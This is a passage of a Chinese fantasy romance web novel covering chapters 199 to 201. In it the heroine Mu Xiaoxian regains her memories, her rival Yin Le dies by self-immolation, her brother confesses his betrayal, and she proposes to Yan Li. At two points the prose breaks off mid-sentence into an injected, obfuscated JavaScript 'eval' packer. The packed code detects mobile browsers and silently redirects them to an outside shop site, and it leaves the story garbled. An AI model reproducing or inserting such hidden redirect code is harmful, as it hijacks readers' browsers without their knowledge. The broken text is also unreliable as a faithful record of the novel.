数月没见光,她的肤色白得透亮,一双明媚的眼睛比夜空的星星更加闪耀灵动,红唇勾起的笑意几分羞涩几分狡黠。 永昭殿下怕她嫌麻烦,特意给她准备了一条嫩粉荷花边的裙子。她穿出了清新雅致,一根金玉簪随意挽了发,难掩亭亭玉立的身姿。 慕小闲带着隐藏不住的揶揄,笑道:“我竟然不知,你原来这么喜欢我啊。” 晏离目光灼灼地看着她,没有回答,似乎一眼望进了她的心里,让那颗沉寂已久的心再次蠢蠢欲动。慕小闲眼波流转,再也忍不住扑上去紧紧抱住他,将自己贴近他的胸膛,听见那如擂鼓一般的心跳声,一下一下敲击着她的耳膜,与她的心跳渐渐融合。 时间仿佛停下脚步,寒夜变得不再可怕,暖意从心底流向四肢百骸。 晏离低头问道:“烧鸡味道如何?” 慕小闲舔了舔嘴唇,眼中除了溢出的笑意,还有一丝意犹未尽:“晏离出品自然是极好的。不过......”话锋一转:“不过不是我说你,你对鸡的做法太单一了。鸡可以烧、可以烤、可以蒸、可以炖、可以炸,可以卤、可以煲汤、可以白切......谁也受不了一年吃五十只多只烤鸡啊......” “是八十只。” 慕小闲倒吸一口冷气:“你哪里找来的那么多鸡?完了完了,青丘的鸡该不会一年之内全被一网打尽了吧。这不符合可持续发展啊,以后还怎么快乐吃鸡?” 晏离微微笑了一下,目色温柔地看着她:“莫怕,我寻了一座山,又找了些肉质鲜嫩的跑山鸡,开辟了一座养鸡场。以后你想吃,随时都可以。” 慕小闲眼睛一亮:“没想到你还有如此远见,不过我现在不想吃鸡了,烤鸡吃多了上火,我想回宫吃莲子羹......”她话音一顿,突然目光扑闪起来。 晏离对她太过熟悉,只一丝犹豫便觉出不对劲。他借着一点月色,低头打量她的神色,微微蹙起眉,心中涌现一丝惶恐,不知眼前的人究竟是慕小闲还是白瑶。 “你恢复记忆了?” 慕小闲眼珠一转,拉着晏离的袖子,抿唇笑道:“你说什么?” 晏离望着她不语,锋利的眼神似乎要将她看穿。慕小闲悻悻地低下头,企图躲避他的探究,直到气氛逐渐变得凝重,她忍无可忍抬起头:“没错,我恢复了,从前的仙力和记忆全都回来了。我想起了所有的事。” 晏离嘴唇微动,欲言又止。 慕小闲叹了口气,神色已不像先前那般轻松:“你还是叫我慕小闲吧,我不想用别人用过的名字。偷得浮生半日闲,是我从前的愿望。” 晏离伸手将她搂进怀中:“回来就好。”低头轻轻吻落在她的额间,然后细密的吻从她的眼睛、脸颊、唇角流连,最后停顿了一下,毫不客气地印在她的唇上。 须臾,两人气息不稳地拉开距离,眼神中都弥漫着一种迷离之色。 慕小闲搂着他的脖子,不怀好意地勾起唇角,带着几分戏谑隔着衣服戳了戳晏离的胸膛道:“晏离,虽然我很想快点把你扑倒,但是我得先回宫一趟,我太久没有见过母上和父君,有些事情还要与他们商讨。” 晏离颔首:“一切随你。” 200. 第 200 章 后半夜,宫里琉璃灯笼高高挂着,除夕守岁的热闹劲儿一过,人零零散散地回房歇息,宫里又渐渐陷入沉寂。 慕小闲与晏离乘风而来,翩然落在宫门前。守夜的护卫一见二人,瞪大了眼睛,赶忙敲了敲门,喊道:“殿下......殿下回来了!” 门内传来带着几分倦意的声音:“殿下不早就回来了吗?这个时候应该睡下了。” 护卫毕恭毕敬地冲他们行了个礼,冲门内嚷嚷道:“你知道什么?是小殿下回来了!” 厚重的朱色大门渐渐推开,只见门内站了一排毕恭毕敬的侍从,眼巴巴地向外头瞅。 “是小殿下!小殿下回来了!”侍从兴奋地喊道,又收了声,警惕地看了晏离一眼,生怕自己认错了。晏离适才来拜访过永昭殿下,许多侍从都见过他,这才放下心。 慕小闲与晏离被迎入长乐宫,从宫门到大殿,漫长的甬道旁渐次亮起灯火,将二人一路引入殿内。消息很快传入寝宫,永昭殿下系了披风与公子鸢匆匆赶来,远远看见慕小闲的影子,眼眶一热,脚步却是缓了下来。不多时,凝寒将军也赶到。 两人隔着灯火遥遥对望片刻,不由自主笑出声来,眼中皆有晶莹涌动。永昭殿下走上前,将慕小闲上上下下打量一番,暗暗松了一口气,再抬眼瞧见她眼中的清明时忽然一怔。 “娘亲,我回来了。”慕小闲艰涩地笑道。她们心照不宣地明白了“回来”究竟意味着什么。 永昭殿下伸手将她紧紧抱在怀中:“臭丫头......一个人出了这么大的事,也不知道和我说。”亲近的温暖包裹住了慕小闲,是她自从再世上天之后,从未感受过的。 “娘亲,您为了凝寒叔叔去了戎族,好些年没有音讯,我怎么跟您说啊?再说,前几年我在青丘遇见您时,您带着红脸面具不想认我,还追着我打呢。”慕小闲装作委屈地嘟起嘴,边说边可怜巴巴地望向她的老父亲公子鸢。 公子鸢最是爱美,听说自己姑娘回来,顾不得仪容,披散着头发就赶来了。他看着慕小闲,眼中流露出沉甸甸的心疼,压得他张不开口。 永昭殿下顿时感觉芒刺在背,辩解道:“你那时根本不认得我,我是为了你好。若不对你严苛一点,你怎么会留下来修炼,怎么能在短短三年内炼成灵丹,你肯定会想方设法溜走去见晏离......” 永昭殿下一顿,瞥了一眼慕小闲身边的清冷公子:“咳咳,不说了,回来就好回来就好。” “爹爹,凝寒叔叔。”慕小闲乖巧地抱住公子鸢的手臂,撒娇似的贴了上去。公子鸢不自觉蹙起了眉,伸手摸了摸她的头:“你告诉爹爹谁欺负你了,爹爹把他绑过来给你出气。” 凝寒在一旁也点了点头。 慕小闲听了呵呵一笑:“就知道爹爹最疼我。” 永昭殿下见夫君宠得不行,挑了下眉:“多大的人了打架还要爹爹撑腰,说出去我青丘的面子还要不要?” 慕小闲与公子鸢对视一眼,眼珠一转,灵巧地说道:“刚才是谁说出了这么大的事,不跟您说的?” 永昭殿下瞪了她一眼:“就知道找我错处,你现在翅膀硬了。” 宫中又热闹起来,侍从忙碌的身影在铺满灯笼的回廊间穿梭。 不一会儿,就铺开了一桌好菜。 灯火融融,人影憧憧。新的一年在喜庆的团聚中开始。 第二日,慕小闲回宫的消息不胫而走。 长乐宫恢弘肃穆的正殿之上,数百群臣俯首参拜,而他们面前长阶通往的宝座上,是再度亲政的青丘之主永昭殿下。经年已过,永昭殿下身上无人能及的气度,光是垂眸扫视之间,便形成一股令人心颤的威压=。 殷乐这些年掌政遗留下的问题不少,饶是慕小闲在全神贯注听了七日的禀报之后,神色也显出委顿之色,甚至有些后悔回来接这烫手山芋。好在第八日天光收拢时,最后一个臣子陈述完毕。 永昭殿下朗声道:“众卿应当已知晓先前发生的事。天庭在此一役虽兵败势微,但仍未动摇其数十万年根基,魔域沉伏数载,一消前耻,正是乘风欲起之时。先前的种种恩怨皆已了却,接下来如何在动荡格局中立于不败之地,才是青丘当下最需审视的问题。” “凝寒,责令你在一年之内务必清除魔族在青丘遗留的全部势力!” “臣遵旨。” “施未羽,责令你在三月内重启选拔,在天界范围内广纳贤士,能者居上。” “是!” “卿书,安排好人手备好厚礼,择日出使天庭魔域。” “是!” “我主贤明。”众臣拱手以礼。 众臣退下后,永昭殿下站在大殿玉阶前遥遥望着大开的朱门,和逐渐消失在门口的身影。远处重峦叠嶂、风云际会,如滚滚浪涛,不断将人向历史的深渊推去。 慕小闲站在她身后沿着她的视线望去,喃喃道:“现今天界三地势均力敌,未来如何还真不好说。” “不论局势如何,你都必须坚定地站在青丘这一边。”永昭殿下叮嘱道。 慕小闲颔首道:“是。女儿谨记。” 大殿的柱后晃过一道身影,永昭殿下似有感应,转首道:“琅儿,你既然来了,为何躲着不见人?” 闻声白琅迟疑了一下,才稍显怯弱地从柱后阴影处走出来:“娘亲,姐姐。” “这几日让你在殿内旁听,可有长进?” 白琅颔首道:“先前从未涉足政务,如今听来真是博大精深。这几日听取众臣之言,也不过只懂得了些皮毛,要学的还有很多。” 永昭殿下点点头,感慨道:“我离开长乐宫时,你连话都说不好,现在已有这样的意识,我深感欣慰。不过政事不是说说就可以的,你要多看多听多做。这些年落下了许多功课,尽早补完吧。” 白琅目光闪烁,拱手道:“是。” 永昭殿下睨了他一眼,问:“还有事吗?” 白琅喉头一滚,眼中划过一丝犹豫,还未开口就被另一个声音猝然打断。 “殿下,搜寻的将士来报,在青丘境内查到了殷乐的踪迹。” 三人具是一怔,互相对望间神色渐渐凝重。在第二次神魔大战,殷乐被苏怜漪所救,消失在大众的视野中,无人知道她去了哪里。辗转多日,第一次有她的消息,竟是在青丘境内。 就在她们眼皮子底下。 永昭殿下立刻下令追捕,半月过后,将殷乐困在一处峡谷中。 慕小闲赶到时,殷乐躲藏在一山洞内,谷底和岩壁上被将士重重包围,简直插翅难飞。 慕小闲知道殷乐不会回到魔域,她在魔域一无所有,有的只是肮脏的回忆。兰渊是个睚眦必报的人,她在第二次神魔大战中违背了他的意愿,将慕小闲打回原形,将本就一团乱麻的局势搅得愈加混乱,最终草草收场。兰渊或许会护她一时,但总有一天会让她付出代价。 可笑可叹这个为了魔域的存亡隐姓埋名扮作他人的英雄,最终并没有受到魔族的爱戴,甚至无家可归。 慕小闲站在洞前,目光灼灼地望向幽深昏暗的洞内,虽然没见到半点人影,但她直觉殷乐就躲藏在这里。半晌她喊道:“殷乐,我来了。” 一阵清风从她身后穿过,扬起她的袖摆与发丝,轻轻催动着地面的石砬。洞内沉默许久,好似里面根本无人。 慕小闲微微敛眉:“殷乐,你逃得了一时,逃不了一世。” 洞内又静默须臾,忽然悠悠响起:“慕小闲,听说……你想起以前的事了?” “告诉你也无妨。我回来了,把以前的所有都找回来了。这也多亏你,在第二次神魔大战时将我的血脉还给我,不然我还得再费些功夫。” 洞内发出一声凄厉的笑声,那熟悉的清朗嗓音带着沙哑,就像风吹过沙漠里枯败的老树:“回来了好,回来了好,有苏哥哥这下满意了……他……还好吗?” 慕小闲眸光微动,嘴角微微向下一撇:“他那个样子,怎么能算好?” “你说的对。他一定很恨我。不,他怎么会恨呢?他连一点恨意都舍不得给我。” 洞内安静片刻,出声问道:“怜漪他……还活着吗?” 慕小闲不必隐瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014749|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“他死了。魂飞魄散。” 她的话音落地,洞内又陷入了死寂。按捺不住的将士带着请示的目光看向慕小闲,希望得到她的命令。慕小闲抬手制止,冷凌的眼神让他们稍安勿躁。 “殷乐,出来吧,你逃不掉的。”慕小闲沉声说。殷乐的声音愈加消沉,自言自语似的说:“抓住我之后你想做什么?我抢了你的身份,烧毁了原本的宫殿,杀害了你敬仰的先生,让你的爱人忍受千年的伤痛......你恨我入骨,一定是想要杀了我,让我永世不得超生。” 殷乐在青丘执政多年,清楚青丘一贯的做派。她顶替白瑶,又伤害了慕小闲,青丘不可能放过她。 这种时候慕小闲无需与她虚与委蛇,冷声说道:“我们还有些事情需要请教你,譬如说,魔域是如何策划了那一场天火,能神不知鬼不觉地对长乐宫下手。” 昏暗中,殷乐突然发出一连串诡异的笑声,仿佛幽魂索命,直叫人毛骨悚然:“慕小闲啊慕小闲,看来你并没有想起全部的事情。当年我们想用天火逼你魂肉分离,然后夺走你的身体。就算你选择被火烧死,也不肯留下肉身,但我们最终还是取而代之,这可不是件简单的事。你一定想不到,长乐宫有人做了接应,而这个人……”她故意在这个地方停顿了下来。 然而慕小闲并没有如她所愿地追问,殷乐等不来回应,反问道:“你怎么不问我是谁?” 慕小闲眸光微动,目色愈发深沉,几番揣摩之后,释然道:“这不重要。” 殷乐诧异道:“你知道是谁?为什么?” “不关你的事。” “哈哈哈哈哈哈哈哈哈你说的没错,现在这一切都不关我的事了。我什么也不想管了...... “我生来卑贱,爱我的和我爱的都折磨我,忍辱负重多年只能为他人作嫁衣。我甚至连自己是谁都不知道。我不是青丘之主,也不是魔域的侍女,我什么也不是,我为什么存在,我能去哪里?” 慕小闲察觉殷乐的状态不对劲,眼神一变。突然一团热流扑面而来,慕小闲掩住口鼻退后几步,喊道:“殷乐,你要做什么!” “我不会跟你回去认罪的,我完成了自己的使命,我没有输,你也没有赢!” 大火一炬,燎燎火舌在洞内迅速蔓延。 多么熟悉的一幕,慕小闲停下脚步,面对大火攥紧了拳头。 眼前重现的当年滔天的火海中,她忍受着肉身的灼烧和疼痛,在肉身消亡之前苦苦挣扎。她那时在想什么?她听到了屋外的哭喊声,也体会到了背叛的痛苦,她的世界崩塌,她只想快点结束。 殷乐算准了她怕火,所以用这种方式阻拦她。 慕小闲恨殷乐夺走了她的身份,恨殷乐害她忍受千年轮回之苦,恨殷乐伤害晏离、阿筝和青丘的生灵,但是她不想殷乐就这样轻易死掉。 对神而言,死亡既不算惩罚,也不算悔悟,而是另一种执念。 凭什么她可以肆意挥霍自己和他人的生命? 这对因她而苦苦挣扎的人根本不公平。 慕小闲指挥士兵进山洞救火,在洞外望着熊熊火焰狠声道:“殷乐!你以为一死了之可以解决问题吗?你逃了一世,如今逃无可逃、避无可避,所以干脆连命都不要了?” 火舌像是听见了她的质问,忽而随风扬起,迸射的火星落在了慕小闲的脚边。 火势被扑灭,慕小闲踏进焦黑的洞内,忍着烟尘气息,向深处走去。 洞内格外的黑,一抔焦土裹挟着坚硬的碎骨,仿佛刚才的对话只是一场空梦。 慕小闲伫立良久,轻轻蹲下身,拨开表层的土灰,取出了那颗完好如初的灵丹。她并非想将殷乐困死在这里,但她却因此而死。 若慕小闲还是那个初来天界的凡人,此刻可能消化不了眼前的现实,但作为青丘之主,这个结局对她来说不坏。不论殷乐如何选择,伤害过她的人终究消失了。 慕小闲转身走出山洞,抬头看了一眼湛蓝的天空,风和日丽,天光正好。她侧身对等候的将士说:“结束了。”而后,头也不回地走向她该去的地方。 201. 第 201 章 永昭殿下回宫后,特意派人将阿筝原本的院子打理了一番。 慕小闲在阿筝的院子前短暂停留,推门而入,缓步走到阿筝的房内。燃魂灯的灯苗一窜,一个模糊的人影出现在灯影中,比先前的气息稳定许多。 他温和地望着她,柔声道:“瑶儿,你来了?近来可好?可是有什么新鲜事想说给我听?” 他的声音与记忆中的温柔之色重合,虽然时至境迁,但阿筝最珍贵的心一如当年。 慕小闲喉头一哽,她早在来之前就犹豫了许久,要不要将殷乐的死告诉阿筝。她不知道阿筝对殷乐到底是什么感情,可就算他对殷乐毫无感觉,知道她已经消失,恐怕也会悲从中来,激起更多的怜悯之心。 阿筝望着慕小闲的面色,渐渐沉默,垂下眼眸似乎明白了什么。 就算她不说,他也能明白一二,毕竟阿筝是看着她长大的先生。 “殷乐死了,她被围困在青丘一处山洞内,我想让她出来,但是她自焚了。”慕小闲望着阿筝有些恍惚的神色,没有隐瞒:“先生,我没有逼她,虽然我很恨她曾经做过的事情,但我没有胁迫她。这是她自己的选择。” 阿筝颤声道:“我明白。她那么倔强又坚硬,肯定不会向任何人屈服。”阿筝叹了一口气,顿了一下,又说道:“人生渺渺不过红尘一粟,这是她的选择,我们无法评说。瑶儿,既然她已经消失在这个世间,那么便放下吧。” 慕小闲深吸一口气:“先生我明白你的意思,如今天庭、魔域两败俱伤,青丘也需要重新整顿,接下来要做的事情还有很多,我不能停留在这里。” 她顿了一下,试探道:“先生,我之前问你的事情,你想好了吗?” 阿筝轻轻点了下头:“我在世上几万年,看遍了世间的繁华与惨淡,原本想要永远的安宁,但到头来发现我对生命仍有执念。但天界承载了我太多悲伤的回忆,就算我重新拥有肉身,那些记忆也会如影随形。瑶儿,我希望能忘掉所有的一切,坠入凡尘做一个普通人。” 慕小闲倒吸一口冷气,怔怔地望着阿筝的影子。她回想起自己流连人世间的日子,劝道:“有苏先生,人世不比天界,甚至更加复杂残酷。你要不要再考虑一下?” 阿筝缓缓摇头:“我一直想知道为什么我要经历这一切,为什么我要活着,为什么活着如此痛苦。甚至现在我连活着也不算了。瑶儿,你能平安归来,我对这里已经没有留恋了。或许有一天我看遍了尘世的山水,找到了自己存在的意义,我就会回来。瑶儿,你愿意等那一天吗?” 阿筝去意已决,慕小闲知道强留也无甚意义,终是叹了口气,红着眼眶:“有苏先生,既然你已经做了决定,那么我尊重你。如果有一天你想我了,随时欢迎回来。” 阿筝离开后,慕小闲久久无法释然。阿筝对她来说犹如兄长、益友,为她甚至付出了生命,如果没有他向晏离传授招魂引,她也无法回到天庭。阿筝是她的贵人,但她却为他本就不幸的一生添上了更加凄惨的结局。 晏离将慕小闲揽在怀中:“每个人都有不同的命运,他的路终究要一个人走。” 慕小闲眨了眨眼睛,眼眶中的泪水一直在打转:“但是他太苦了。” “他会得到他应有的善意。” 慕小闲点点头:“你说的对。我要去天庭找司命,给先生安排一个很好很好的命格。让他能够肆意人生,活得无忧无虑!这样说不定他一高兴就回来了!” 晏离将她拉回来,看着她的眼睛问:“如果是我要离开,你会挽留我吗?” 慕小闲勾起唇角,搂住他的脖颈,在他耳边轻声说:“晏离,你吃醋了?我们分开了太久,我怎么可能放你走?难道你想离开我?” 晏离搂紧了她的后腰:“嗯。我不走。” 纵使命运无常,我也不会和你分开。 殷乐与有苏先生离开的消息没有声张,想知道也不是什么难事。慕小闲估摸着白琅近日会来见她,果不其然,没两日宫里的侍从就来通传白琅进宫求见,将他引去后花园的望山流亭。 白琅来时一身蓝色云缎长衫,沿着园中小径走来,在琪花瑶草的映衬下显得光彩照人,翩然如玉。他远远望见站在亭中的倩影时,眸中一亮,步子却有些踟蹰。 慕小闲坐在亭中的石凳旁,略略抬眼与他对视。此时的她已不是当初刚上天时心无城府的少女,而是青丘之主,饶是心中百转千回,也依旧面色如常。 白琅缓步走入亭中,亲切喊道:“姐姐几日不见,更加明媚动人,看来是有好事发生。” 慕小闲点点头:“行了,自己人就别这么生分。琅儿,我们好多年没见,那日在殿前没来得及与你谈谈,今天正好,来,过来坐。” 白琅坐在她身侧眸子暗暗打量着她,慕小闲只装作不知道,接着说:“你应该也听说了,殷乐死了。说起来,当年我作为慕小闲回到天界,不小心进了长乐宫,殷乐和苏怜漪虽然不知道我是谁,但屡次暗下毒手。若不是有你,我可能连自己是谁都不知道就折损在宫中了。” 慕小闲没有安排随侍,于是自己给他斟了一杯茶,白琅双手接过杯子,眼睫微微颤动:“是啊,好在殷乐他们也未料到是你,所以疏于防范,才让我有了可乘之机。” 慕小闲目光悄悄从他身上收回,状似无意道:“那次你回来后,殷乐可有为难你?” 白琅悄悄抬眼看了一眼慕小闲,斟酌道:“她平日里与我没有联系,就算怀疑到了我头上,也找不出证据。不过就是找我来问问话,不算什么。” 慕小闲垂眸,浅浅饮了一口杯中的茶:“是么......” 她看似不经意的呢喃,却叫白琅的脊背渐渐绷紧,好似浑身不自在。 慕小闲突然轻笑一声:“琅儿,你这么紧张做什么?来,吃点糕点。”说罢,将桌上的芙蓉糕往白琅的方向挪了挪。 白琅眼睛一红,拿起一块糕点细细品尝,就听到慕小闲一脸惆怅地望着他,道:“琅儿,有的时候我真怀念当初的日子......” 白琅手中的糕点突然掉落在地上,散开了一地如雪花般惨白的细屑。 慕小闲若是再察觉不出问题,这些年也就白活了,她瞥了一眼满地残渣,眸子一沉:”琅儿,你怎么知道先前的青丘之主不是我,你是不是有事瞒着我?” 白琅的唇抿成了一条线,他眉头紧蹙,眼神飘忽,垂下了头不看她。 慕小闲垂眸扫了眼一地狼藉,幽幽叹了口气:“琅儿,你到底知道什么。” 白琅陷入沉默,眼神飘忽不定,呼吸急促起来。慕小闲的视线若有若无地纠缠着他,就像一座沉重的枷锁绑在了他脖颈上,他心跳快得像要冲出胸膛。 慕小闲不想为难白琅,免得传到娘亲耳中,还以为她一回来就给弟弟立威。但她心中的疑惑太多,白琅久居宫中或许知道些什么。 哪知白琅突然抬起头,一双挣扎的眼眸瞪得极大,仿佛一只被抛上岸的鱼,受尽了折磨。他微微张口,乞求似的呜咽道:“姐姐,我知道错了......” 慕小闲微一挑眉:“错哪儿了?” 白琅又安静下来,他不敢说,这是不能说的秘密。 慕小闲的眼神凌厉起来,像一把尖刃剖开了事情的真相:“琅儿,你是我的亲弟弟,我不希望和你产生嫌隙。就算你犯了天大的错,我又能拿你如何?” 白琅的眸子蓦地弥漫一层水雾,怔怔地望着她,哽咽道:“姐姐,你说的对,既然当年我敢做,为什么现在不能承认?这一千年我过得提心吊胆,今日来,就是为了将当年发生的事情告诉你。当年为何魔域能在青丘放火,殷乐又是如何神不知鬼不觉地代替了你。” 慕小闲心如刀割,已经料到了他即将说的话必将鲜血淋漓,但她不能阻止真相被揭示,她的眼下不能有任何隐瞒和逾矩。 “我自出生以来,母上忙于政务,闲暇时顾着为爹爹找寻治病的方法,我数日才能见到她们一面,甚至有时一周、一月无人问津,她似乎忘了我的存在。我知道我有一个姐姐,但她出外求学,更是见不到人影。我是被侍从养大的,我与他们的关系甚至比亲人更亲。 “姐姐,你还记得曾经你回宫时答应要给我抓一只兔子吗?”白琅艰涩地叹了口气:“你一定早忘了,不然那时也不会空手回来,还叫宫里人随手抓一只给我。你说你下次回来要送我一只兔子,我以为我还有一个亲人记挂着我,就算出门在外也会惦记我。” “我翘首以盼了很久很久,每天都在盼着你回宫,盼着你带一只可爱的兔子回来,你迟迟不回来也就罢了,竟然将这件事情忘得干干净净。”白琅话中应尽未尽的怨恨,让慕小闲心里一揪,她确实忘了自己曾经允诺过这件事,但她记得后来命宫里人抓回来的那只兔子,被白琅摔死了。 慕小闲不动声色地看着他:“接着说。” “后来母上为了爹爹离开了长乐宫,姐姐回来继承了青丘之主的位子,答应了华尧上神的婚约。好像这一切都很风光,也和我没什么关系。我在长乐宫依旧无人关注,可明明我也是白家的继承人。 “姐姐,我不明白。为什么白家自古以来就是女子继承,只有女人才能登上青丘之主的位子,而我因为是男子便不受待见,甚至连争都不能争。为什么你能拥有万千宠爱,而我什么都没有?我们不是亲姐弟吗?姐姐,如果你是我,你能忍受这样的生活吗?” 慕小闲脸色越发深沉:“你小时候没有得到关爱,是母上、父君和我做的不对,我们没有考虑到你的感受。但我们生在白家,享受与生俱来的荣耀时,也要背负白家自古以来的责任和义务。我们本就没有那么多选择的余地,这和你是男子没有关系。难道你做这些是想要青丘之主的位子?” 白琅惨淡地笑了一声:“有何不可?姐姐原本对这个位子也不感兴趣,为什么我不可以?当年,我知道魔域想要利用殷乐替代你后,我便与他们里应外合,将天火引入你的寝殿......”白琅的眼睛如深不可测的大海,表面风平浪静,实则暗潮汹涌。 慕小闲不自觉拧起眉,眼中如一潭死水。 “原本你只要弃了肉身便可逃出来,只要你按我说的做,重塑肉身不是难事。我知道殷乐的秘密,她在青丘受我掌控,等时机成熟,青丘就是我的。可你为什么宁愿魂飞魄散,也不愿将肉身留下?”白琅红着眼眶,死死地盯着慕小闲:“姐姐,你那时还有意识,你一定发现了是我,所以宁愿被烧死,也不愿将青丘之主的位子让给我。” “砰”地一声,茶杯被慕小闲捏碎,她眼中风云欲来的压迫感,让白琅立刻禁声。 慕小闲攥紧的拳头却没有出手。 往事历历在目,她怎么会不知道长乐宫有内应?但她不愿相信是她的亲人在背后捅了一刀。 “魔域允诺了你什么?殷乐当上了青丘之主还会受你摆布?你太天真了,你只是在报复,报复母上、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043326|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父君还有我当年对你的忽视。就算你坐上了青丘之主的位子,你就能得到所有想要的东西?不,白琅,这个位子只会让你失去更多!你以为任何人都能坐稳这个位子?天庭、魔域哪个不是虎视眈眈! “你若坐上青丘之主的位子,他们不知会如何编排,闲话都能将你淹死。你不满青丘素来女子执政,男子不受重用,但你若真是个有决心有抱负的,大可以隐姓埋名去天庭、魔域历练,他们可不管你是男是女。但是你没有,你躲在白家的羽翼下,甚至装疯卖傻换得旁人的垂怜,联通魔族迫害你的亲人和故土。你不愿意抛弃已经拥有的,只想仗着身份坐享其成,根本没有意识到这个身份背后的责任和担当。 “青丘之主的位子我不会让给任何人,你死了这条心罢。” 白琅眼中泛起湿润,他深吸一口气,起身向慕小闲俯首,恭恭敬敬地作揖,说道:“殿下,我知道错了,在这一千年里我无数次悔恨不已。你说的对,当年我想的太简单,才中了魔域的圈套。您若是不能原谅我,也是我罪有应得。我想好了,我已无颜待在长乐宫。听闻戎族内部动荡尚且需要派人牵制,我会主动请命。” 白琅深吸一口气,目光灼灼地望着慕小闲道:“有朝一日,我希望成为像姐姐一样的人。” 慕小闲沉默半晌,没有阻止他的决定,却说:“像我有什么好,你要成为你自己,不要再羡慕任何人。” 那日白琅告退后,向永昭殿下和公子鸢辞别,向他们许诺日后他会镇守在戎族,一万年内不得私入长乐宫。据说永昭殿下勃然大怒,未有挽留。 青丘事务繁重,慕小闲整顿好些日子,常常忙到深夜。日子好像突然加速的转轮,忽而又过了好些年。 听闻凤钰在魔域边境找到了兰阙的残魂,为他重新塑造了一具肉身。兰阙浑浑噩噩许多年,魂魄集齐后过了好些日子才逐渐清醒过来。 凤钰感动得抱着兰渊狠狠落泪,但是清醒后的兰阙并不待见他,甚至与他划清距离,他正死皮赖脸……不,是想方设法地讨兰阙欢心。 长庚星君、太上老君助天帝恢复原身,天帝吃了闷亏,身体大不如从前,现下不敢有什么大动静,于是笑脸盈盈地说要和青丘、魔域谈和。 华尧在第二次神魔大战后向天帝请辞,卸下天庭第一武将的头衔,全力培养武凌和其他天兵。武凌在符鸣死后,看透天庭官场的黑暗,如今什么也不想,一心跟着华尧学艺。天帝故技重施试探过他许多次,但武凌对神官之位丝毫不在意。 狒狒回到了花神山祭拜多年前去世的母亲,望着物是人非的花神村,险些没有认出回山的路。花莳边骂它蠢,边将它带进山寻根。 狒狒临走时在瀑布旁摘了一朵黄花萱草,留在了元叙家门外,从此天高水远,开启了他在天界闯荡的传奇经历。清晨惠风和畅,元叙打开家门,忽然被一株小小的、灿烂花儿夺去了目光,而后微微笑着捡起来,将它栽在院中。 云姬给慕小闲书信,说云魁和越棠棠好事将近,邀请慕小闲来参加婚礼。他们兄妹二人歼灭了魔兵遗留在越仙谷的势力,今后也会继续维护青丘边境的秩序与和平。慕小闲回信一封,此时正是事务繁重,便送去了几分大礼聊表心意。 还有很多很多...... 小十一的爹娘游历回来,正逼着他每日学习。他舍不得小黄瓜,问能不能让他多养些时日。慕小闲想了想,还是将小黄瓜要了回来,放在身边时刻提醒自己曾经忽视了什么...... 丰蓓和伍公子有了第二个孩子,说慕小闲错过了他们的婚礼又错过了他们第一个孩子的出生、这次怎么也得来喝满月酒...... 柳夫人在魔域的生意日渐兴隆,现在来青丘开了分店,打的招牌是青丘之主曾到访过的万年老店...... 就连很多年没了踪迹的虚云山庄似乎都重现世间...... 入夜,清风微凉。直到月挂西梢,长乐宫书房的灯火才幽幽熄灭。 慕小闲推门而出,却见月影横斜之中,白衣翩然独立,抬头望着一轮月牙,听到声音向她侧目看来。 晏离提着一只灯笼,与慕小闲漫步踱至寝宫,两人虽不再青涩,但朦胧的夜与枝头桂花若隐若无的气息,却让四周弥漫着暧昧不清的悸动。 慕小闲忍不住拉上冰凉的手,心中仍为之一动,面上却装作云淡风轻。她知道晏离在偷偷看她,心中霎时间泛起丝丝甜意。 两人没有说话,一条短暂的路被拖得遥遥无期。 直到拖得不能再拖,到了寝宫的门前,晏离松开她的手,轻声道:“早点歇息。” 话虽然是分开的前兆,但他却没有离开的意思。慕小闲看着他,微微一笑,又牵起他的手唤道:“晏离。” “怎么了?” 慕小闲望着他的眼睛:“我想问,你有没有兴趣,成为这里的第二位主人?” 晏离眼睫一颤,细细地观察她的神色,似乎在分辨她是否认真。 慕小闲染上几分急色:“耽误了这么多年,我们早该成婚的。不是我有意拖延,只是这些年有太多无法回避的事情。但是我对你的心意,从一开始就未曾改变。我想知道,你可愿做我的夫君?” 刹那间,冰霜融化。 如雾的眼眸光华流转。 仿佛又回到故事的最初,他撕开天地禁制,降落在她面前时。 只是眼中不再是烟雨般的愁绪,而是泛着舒朗星光。